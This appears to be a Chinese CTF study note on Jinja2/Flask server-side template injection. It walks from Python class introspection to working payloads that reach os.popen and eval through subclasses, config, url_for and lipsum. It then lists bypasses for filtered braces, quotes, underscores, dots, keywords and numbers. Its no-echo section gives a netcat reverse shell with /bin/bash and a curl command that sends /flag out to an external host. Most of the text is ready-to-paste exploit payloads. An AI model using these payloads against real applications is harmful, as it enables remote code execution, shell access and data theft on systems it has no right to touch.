一.关系:子类->父类
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
1.__class__查看当前类
c:当前类
print(c.__class__)
2.__base__查看当前类的父类
print(c.__class__.__base__)
c的父类的父类
print(c.__class__.__base__.__base__)
e的父类的父类的父类
print(c.__class__.__base__.__base__.__base__)
最终的父类都是object
3.__mro__从当前往上查看所有类
print(c.__class__.__mro__)
查看e的当前类
print(c.__class__.__mro__[0])
查看e的父类
print(c.__class__.__mro__[1])
查看e的父类的父类
print(c.__class__.__mro__[2])
4.__subclass__()查看子类
查看c的父类的子类
print(c.__class__.__mro__[1].__subclasses__())
[<class '__main__.C'>, <class '__main__.D'>]
查看基类object下面的子类
print(c.__class__.__base__.__base__.__base__.__subclasses__())
5.利用与C同级的D类
print(c.__class__.__mro__[1].__subclasses__()[1])
二.利用
1.查看object类
{{''.__class__.__base__}}
[],'',(),""用起来都没有区别,都是为了找到object类,如果有哪个被过滤了,可以尝试其他的
在object类里面找到os.__wrap__close
用notepad把object下面所有类进行排序
os._wrap_close在133
2.利用os.__wrap__close
为什么利用os.__wrap__close,因为在其里面的全局变量可以找到内置函数eval
{{''.__class__.__base__.__subclasses__()[132].__init__}}
用__init__检测是否已经重载,重载才可以使用
没有出现wrapper说明已经重载可以使用
3.__globals__查看全局变量
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}
如果globals被过滤可以单引号拼接,如下:
{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']}}
题目简单可以直接搜到flag
4.调用globals里面的各种函数
比如eval,popen,system,exec
这里我调用eval函数
__builtins__提供对python的所有内置标识符的访问
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
更省事的写法
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__ ['eval']("__import__('os').popen('ls').read()")}}
5.其他调用方式
通过config调用
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.__class__.__init__['__glo''bals__']['o''s'].popen('ls').read()}}
通过url_for调用
{{url_for.__globals__.os.popen('ls').read()}}
{{url_for['__gl''obals__']['o''s'].popen('ls').read()}}
通过lipsum调用
{{lipsum.__globals__.os.popen('ls').read()}}
{{lipsum['__glo''bals__']['o''s'].popen('ls').read()}}
三.SSTI绕过
1.绕过过滤双大括号
{% %}属于flask的控制语句,且以{% end.. %}结尾,可以通过控制语句定义变量或者写循环,判断。
如果{{}}被过滤,尝试{%%}
构造脚本查询可使用popen 的子类编号
想要回显,用print输出
{% print(''.__class__.__base__.__subclasses__[117].__init__.__globals__['popen']('ls').read())% }
{% print(''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('head /flag').read()"))%}
2.无回显的SSTI
反弹shell
通过rce反弹一个shell
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}
{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['pop''en']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}
{{[].__class__.__base__.__subclasses__()[84]["load_module"]("o""s")["popen"]("netcat 192.168.211.134 7777 -e /bin/bash").read()}}
linux:nc -lvp 7777
带外注入
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('curl http://192.168.211.134/`cat /flag`').read()}}
linux:python3 -m http.server 80
3.纯盲注
布尔,时间盲注
4.绕过过滤中括号
__getitem__()魔术方法
对字典使用时,传入字符串,返回字典相应键对应的值
对列表使用时,传入整数,返回对应的索引的值
{{''.__class__.__base__.__subclasses__().__getitem__(132)}}
等价于{{''.__class__.__base__.__subclasses__()[132]}}
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
绕过
{{''.__class__.__base__.__subclasses__().__getitem(132).__init__.__globals__.__getitem('popen')('ls').read()}}
5.绕过单双引号
利用:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
改为
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd)}}
然后url传哥参数?popen=popen&cmd=cat /flag
如果想post传参,request.args.cmd改为request.form.cmd
如果想cookie传参,用request.cookies.cmd 如果多个参数用分号;隔开
Cookie : key1= ;key2=
6.过滤器绕过下划线过滤
使用request
过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数
可以连接到多个过滤器,一个过滤器的输出将应用于下一个过滤器
attr绕过下划线
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
改为
{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args)('popen')('ls')|attr('read')()}}
get传参?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem___
7.绕过.被过滤
用中括号代替点
{{''[__class__][__base__][__subclasses__]()[133][__init__][__globals__]['popen']('ls')['read']()}}
用attr绕过
8.关键词过滤绕过
过滤了class.arg,form,value,ini,global等关键词
字符编码 unicode 16编码
使用拼接 '__cla''ss__'
jinjia2中使用~进行拼接
{%set a="__cla"%}{%set b="ss_"%}{{a~b}}
使用过滤器,reverse反转,replace替换,join拼接
{%set a="__ssalc__"|reverse%}{{a}}
使用python的char()
{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}(暂时没懂)
9.绕过过滤数字
过滤器length
{%set a='aaaaa'|length%}{{a}} 输出5
{%set a='aaaaa'|length*'aaa'%}{{a}}输出15
{%set a='aaaaa'|length*'aaa'|length-'aa'%}{{a}}输出13
10.其他技巧
看看flag有没有在config里
{{config}}
current_app查看配置
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}